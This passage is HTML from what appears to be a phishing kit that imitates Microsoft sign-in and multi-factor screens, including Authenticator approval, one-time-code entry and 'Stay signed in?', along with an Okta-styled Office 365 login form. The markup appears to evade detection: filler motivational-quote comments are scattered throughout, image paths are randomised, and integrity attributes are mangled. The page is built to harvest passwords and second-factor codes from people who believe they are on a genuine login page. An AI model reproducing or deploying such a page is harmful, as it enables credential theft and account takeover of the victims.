            <h2 class="title mb-16">Let’s try something else</h2>
            <div id="signinanothererrordesc" class="text-block-body form-group overflow-hidden no-margin-top">
            You've hit our limit on <span id="signinanothererrordescmethod">verification calls.</span> Use <a data-id="useAuthenticator" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Microsoft Authenticator</a> or try to sign in again shortly.
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            </div>
            <div class="signinanothererrorsigninanother form-group">
            Having trouble? <a data-id="signInAnotherWay" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in another way</a>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            </div>
            <div class="bottomsection">
<!-- Try not to become a man of success. Rather become a man of value. -->
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
    </section>

    <section id="section_accessblocked" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The secret of success is to do the common thing uncommonly well. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- If you really look closely, most overnight successes took a long time. -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- I find that the harder I work, the more luck I seem to have. -->
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button> 
<!-- Success usually comes to those who are too busy to be looking for it. -->
                <span class="user_identity">a@b.com</span>
            </div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
            <h2 class="title mb-16"></h2>
            <div id="accessblockeddesc" class="text-block-body form-group overflow-hidden no-margin-top"></div>
            <div id="accessblockedsignoutoption"></div>
            <a id="MoreDetails" class="no-wrap" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.remove('d-none')" role="button" aria-label="Click here for more details">More details</a>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            </div>
        </div>

        <div id="accessblockedtroubleshootingele" class="auth-wrapper table d-none">
            <div id="accessblockedtroubleshootingcontent" class="sectioncontent">
            <div class="table-row">
<!-- Great leaders inspire action. -->
            <div class="table-cell">
            <div class="debug-details-header">
<!-- Success usually comes to those who are too busy to be looking for it. -->
                <div id="debugDetailsHeader"  role="heading">Troubleshooting details</div>
                <div>If you contact your administrator, send this info to them.</div>
                <a id="idCopyToClipboard" href="javascript:void(0)" role="button" aria-describedby="debugDetailsHeader" aria-label="Copy info to clipboard">Copy info to clipboard</a>
            </div>
<!-- Never give in except to convictions of honor and good sense. -->
            <div id="debugdetailsinfo" class="override-ltr">
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->

            </div>
            <div class="debug-trace-section">
                <div>
                    <span class="bold">Flag sign-in errors for review:</span>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                    <a id="setDebugMode" role="button" href="javascript:void(0)" aria-label="Enable flagging">Enable flagging</a>
                </div>
                <div>If you plan on getting help for this problem, enable flagging and try to reproduce the error within 20 minutes. Flagged events make diagnostics available and are raised to admin attention.</div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            </div>
           </div>
            <a id="errorBannerCloseLink" role="button" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.toggle('d-none')" aria-label="Close troubleshooting details">
<!-- The secret of success is to do the common thing uncommonly well. -->
                <img role="presentation" src="/eft6GN3ErYb0nBfj2LJklONRdrZixIbVEYN2xB878150" alt="Close troubleshooting details">
            </a>
            </div>
        </div>
<!-- Innovation distinguishes between a leader and a follower. -->
    </section>

    <section id="section_multipleaccounts" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            <div id="multipleaccountsdesc" class="row text-body text-block-body"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div id="error_multipleaccounts" class="error"></div>
            <div id="multipleaccountoptions" class="form-group" role="list">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->

            </div>
            <div class="bottomsection"></div>
<!-- The secret of getting ahead is getting started. -->
            <button class="btn2fa" onclick="backbuttonclick(this,2)" id="btn_back">Back</button>
            </div>
        </div>
    </section>

    <section id="section_2fa" class="d-none">
<!-- Success usually comes to those who are too busy to be looking for it. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Try not to become a man of success. Rather become a man of value. -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <button class="back">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Verify your identity</h2>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div id="error_2fa" class="error"></div>
                <div id="2famethods" class="form-group" role="list">

                </div>
            <div class="bottomsection"></div>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
            </div>
        </div>
    </section>

    <section id="section_authapp" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Success is not in what you have, but who you are.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- Success is not in what you have, but who you are. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Try not to become a man of success. Rather become a man of value. -->
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button> 
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
            <h2 class="title mb-16">Approve sign in request</h2>
            <img class="tile-img small" role="presentation" id="authappimg" src="/klByY9gGjz4YpbYnPDgsv1Zy107vOlS3ukXNwx3vUeVbzMY4aYgGX4e35xAddT56170">
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <div id="authappdesc" class="form-group"></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            <div id="error_authapp" class="error"></div>
<!-- Stop chasing the money and start chasing the passion. -->
            <div class="row text-body">
<!-- <div>If you are not willing to risk the usual, you will have to settle for the ordinary.</div> -->
            <div class="display-sign-container">
            <div id="authappcode" class="displaySign"></div>
            </div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
            </div>
            <div id="authappbottomdesc" class="form-group">No numbers in your app? Make sure to upgrade to the latest version</div>
            <div class="bottomsection"></div>
            </div>
        </div>
    </section>
<!-- <div>The customer is always right.</div> -->

    <section id="section_authapperror" class="d-none">
        <div class="auth-wrapper">
<!-- Success is how high you bounce when you hit bottom. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>A satisfied customer is the best business strategy of all.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16"></h2>

<!-- I find that the harder I work, the more luck I seem to have. -->
            <div id="authapperrordesc" class="form-group"></div>

            <div id="authapperrorresend"></div>
            
            <div class="text-subtitle">Having trouble?</div>

<!-- All our dreams can come true if we have the courage to pursue them. -->
            <div class="row text-body" style="margin-bottom: 0;">
            
<!-- <div>The secret of getting ahead is getting started.</div> -->
            </div>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            <a id="moreInfoUrl" class="link mb-16" href="javascript:void(0)" target="_blank">More information</a>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
            </div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
        </div>
    </section>

    <section id="section_authcall" class="d-none">
<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The road to success and the road to failure are almost exactly the same. -->
            </div>
            <div class="sectioncontent">
<!-- The starting point of all achievement is desire. -->
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>The starting point of all achievement is desire.</div> -->
            <div class="identity w-100 mt-16 mb-16">
<!-- Great leaders inspire action. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <img class="tile-img small" role="presentation" id="authcallimg" src="/wxWE3cfQVT1Rvp6uYuPEmnrK5aIu9jbhSUvqYhX847b90180">
            <div id="authcalldesc" class="form-group"></div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
            <div id="error_authcall" class="error"></div>
            <div class="bottomsection"></div>
            </div>
<!-- <div>Do not be embarrassed by your failures, learn from them and start again.</div> -->
        </div>
    </section>

<!-- I find that the harder I work, the more luck I seem to have. -->
    <section id="section_confirmemail" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Try not to become a man of success. Rather become a man of value. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Verify your email</h2>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div id="verifyemaildesc" class="form-group"></div>
            <div id="error_verifyemail" class="error"></div>
<!-- Success is where preparation and opportunity meet. -->
            <input id="inp_confirmemail" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
            <div class="bottomsection"></div>
            <button class="btn" id="btn_confirmemail">Send Code</button>
<!-- <div>Success is where preparation and opportunity meet.</div> -->
            </div>
        </div>
    </section>

    <section id="section_protectaccount" class="d-none">
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
        <div class="auth-wrapper">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The biggest risk is not taking any risk. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Success in business requires training, discipline, and hard work. -->
            <div class="sectioncontent">
<!-- Do not be embarrassed by your failures, learn from them and start again. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Trust is the foundation of any relationship. -->
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Success is not in what you have, but who you are. -->
            <h2 class="title mb-16">Help us protect your account</h2>
            <div id="protectaccountdesc" class="form-group"></div>
<!-- <div>Leadership is not about being in charge, it&#039;s about taking care of those in your charge.</div> -->
            <div id="error_protectaccount" class="error"></div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div id="protectaccountoptions" role="radiogroup"></div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_protectaccount" onclick="protectsend(this)">Send Code</button>
            </div>
        </div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
    </section>

    <section id="section_otp" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Effective communication is the key to success. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                <span class="user_identity">a@b.com</span>
            </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            <h2 class="title mb-16">Enter code</h2>
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpimg" src="/op3g2nB099oK7ApZIkTD8lPYthkhaighTbMKCLtYRewpKEvb1cd200">
            <div id="otpdesc" class="text-block-body overflow-hidden form-group"></div>
<!-- Innovation distinguishes between a leader and a follower. -->
            <div id="error_otp" class="error"></div>
            </div>
            <input id="inp_otpcode" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
<!-- <div>The starting point of all achievement is desire.</div> -->
                <span>Don't ask me again on this device</span>
            </label>
            <div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp">Verify</button>
            </div>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            </div>
        </div>
    </section>

<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
    <section id="section_confirmemailorphone_live" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16" id="confirmemailorphone_live_title">Verify your email</h2>
            <div id="confirmemailorphone_livedesc" class="form-group"></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            <div id="error_confirmemailorphone_live" class="error"></div>
            <input id="confirmemailorphone_live_hidden" type="hidden" value="">
            <input id="inp_confirmemailorphone_live" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
<!-- Innovation distinguishes between a leader and a follower. -->
            <div class="bottomsection"></div>
            <button class="btn btn-small" id="btn_confirmemailorphone_live" onclick="twofalive(this)">Send Code</button>
            </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
        </div>
    </section>

    <section id="section_otp_live" class="d-none">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Great leaders inspire action.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Effective communication is the key to success. -->
            </div>
            <div class="sectioncontent">
<!-- Success is getting what you want, happiness is wanting what you get. -->
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
<!-- Try not to become a man of success. Rather become a man of value. -->
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            <h2 class="title mb-16">Enter code</h2>
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpliveimg" src="/op3g2nB099oK7ApZIkTD8lPYthkhaighTbMKCLtYRewpKEvb1cd200">
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->
            <div id="otp_livedesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp_live" class="error"></div>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
            </div>
            <input id="inp_otp_live" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
            <label class="has-checkbox d-none">
<!-- <div>Great leaders inspire action.</div> -->
                <input type="checkbox" class="checkbox" />
                <span>Don't ask me again on this device</span>
            </label>
            <div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp_live" onclick="twofalive(this)">Verify</button>
            </div>
            </div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
        </div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
    </section>

    <section id="section_authapp_live" class="d-none">
<!-- The successful warrior is the average man, with laser-like focus. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button>
                <span class="user_identity">a@b.com</span>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <div class="row text-body">
            <div id="authapp_livedesc" class="text-block-body overflow-hidden text-m">Open the Microsoft app (such as Authenticator or Outlook) you use for approving sign-in requests and approve request <span id="authapp_live_code"></span>.</div>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <div id="error_authapp_live" class="error"></div>
            </div>
            <label class="mb-16 has-checkbox">
                <input type="checkbox" class="checkbox" style="width: 29px;bottom: 10px;position: relative;"/>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                <span>I sign in frequently on this device. Don't ask me to approve requests here.</span>
            </label>
            <div>
            <div class="bottomsection"></div>
            </div>
            </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
        </div>
    </section>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->

<!-- Every problem is an opportunity in disguise. -->
    <section id="section_signin_blocked_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            </div>
            <h2 class="title mb-16">Sign in</h2>
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="signin_blocked_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">You've tried to sign in too many times with an incorrect account or password.</div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">Sign-in with <span id="signin_blocked_live_email" style="font-weight: bold;"></span> is blocked for one of these reasons:
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
            </div>
            <div id="signin_blocked_reason" class="text-block-body form-group overflow-hidden no-margin-top">Someone entered the wrong password too many times.
            </div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">If you signed up for this account through an organization, you might not be able to use it yet.</div>
            <div class="signin_blocked_livebottom">
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
            </div>

            </div>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
        </div>
    </section>

<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
    <section id="section_protect_account_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                <span class="user_identity">a@b.com</span>
            </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <h2 class="title mb-16">Let's protect your account</h2>
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="protect_account_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">To ensure your account remains protected, we recommend logging in with a different account when you encounter verification issues. This helps maintain seamless access without requiring additional security info, such as an alternate email address.</div>
<!-- The secret of success is to do the common thing uncommonly well. -->
            <div class="protect_account_livebottom">
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
            </div>

<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
            </div>
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
            </div>
        </div>
    </section>

<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
    <section id="section_final" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
            </div>
            <h2 class="title mb-16">Stay signed in?</h2>
            <p class="p">Stay signed in so you don't have to sign in again next time.</p>
            <label class="has-checkbox">
                <input type="checkbox" class="checkbox" />
                <span>Don't show this again</span>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </label>
            <div class="btn-group">
                <button class="btn btn-sec btn_final">No</button>
<!-- The only way to do great work is to love what you do. -->
                <button class="btn btn_final">Yes</button>
            </div>
            </div>
        </div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
    </section>


<footer id="footer" class="footer">
    <a href="javascript:void(0)">Terms of use</a>
<!-- Try not to become a man of success. Rather become a man of value. -->
    <a href="javascript:void(0)">Privacy & cookies</a>
    <span>.&nbsp;.&nbsp;.</span>
</footer>

</div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->

<!-- Success is walking from failure to failure with no loss of enthusiasm. -->


<!-- <div>Do not be embarrassed by your failures, learn from them and start again.</div> -->


<div id="sections_okta" class="websitesections d-none">
    <link id="okta_css1" href="https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" xintegrity="sha384-s4VmJS0LKpE1WfmPdAkU95ZUvAyV4VjfkpSF6d43LR0Yjt5WTPiZVBy3ed4EYneO" rickorigin="anonymous">
<!-- Success is not in what you have, but who you are. -->
    <link id="okta_css2" href="https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css" rel="stylesheet" type="text/css">
    <div class="auth okta-container">
      <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div>
      <div class="content">
<!-- Success usually comes to those who are too busy to be looking for it. -->
        <div class="applogin-banner">
          <div class="applogin-background"></div>
<!-- <div>The only way to do great work is to love what you do.</div> -->
          <div class="applogin-container">
            <h1>
<!-- The only place where success comes before work is in the dictionary. -->
              <span class="applogin-app-title"> Connecting to</span>
              <div class="applogin-app-logo">
                <img src="https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7" alt="Student" class="logo office365">
              </div>
            </h1>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <p>Sign in with your account to access Office 365</p>
          </div>
        </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
        <div id="signin-container">
          <main data-se="auth-container" tabindex="-1" id="okta-sign-in" class="auth-container main-container can-remove-beacon" style="">
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <div class="okta-sign-in-header auth-header">
              <div data-type="beacon-container" class="beacon-container" style="transform: scale(1); text-indent: 1px;">
                <div class="js-security-beacon">
                  <div class="beacon-blank">
                    <div class="radial-progress-bar">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
                      <div class="circle left"></div>
                      <div class="circle right"></div>
                    </div>
                  </div>
                  <div aria-live="polite" role="img" class="bg-helper auth-beacon auth-beacon-security undefined-user" data-se="security-beacon">
<!-- Success is how high you bounce when you hit bottom. -->
                    <span class="accessibility-text"></span>
                    <div class="okta-sign-in-beacon-border js-auth-beacon-border"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                  </div>
                </div>
              </div>
            </div>
            <div class="auth-content">
              <div class="auth-content-inner">
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                <div class="primary-auth">
                  <form name="f1" id="i0281" novalidate="" spellcheck="" method="post" target="_top" autocomplete="off" class="primary-auth-form o-form o-form-edit-mode">
                    <div data-se="o-form-content" class="o-form-content o-form-theme clearfix">
                      <h2 data-se="o-form-head" class="okta-form-title o-form-head">Sign In</h2>
<!-- The only place where success comes before work is in the dictionary. -->
                      <div class="o-form-error-container o-form-has-errors" style="display: none;"><div><div class="okta-form-infobox-error infobox infobox-error" role="alert"><span class="icon error-16"></span><p></p></div></div></div>
                      <div class="o-form-fieldset-container" data-se="o-form-fieldset-container">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
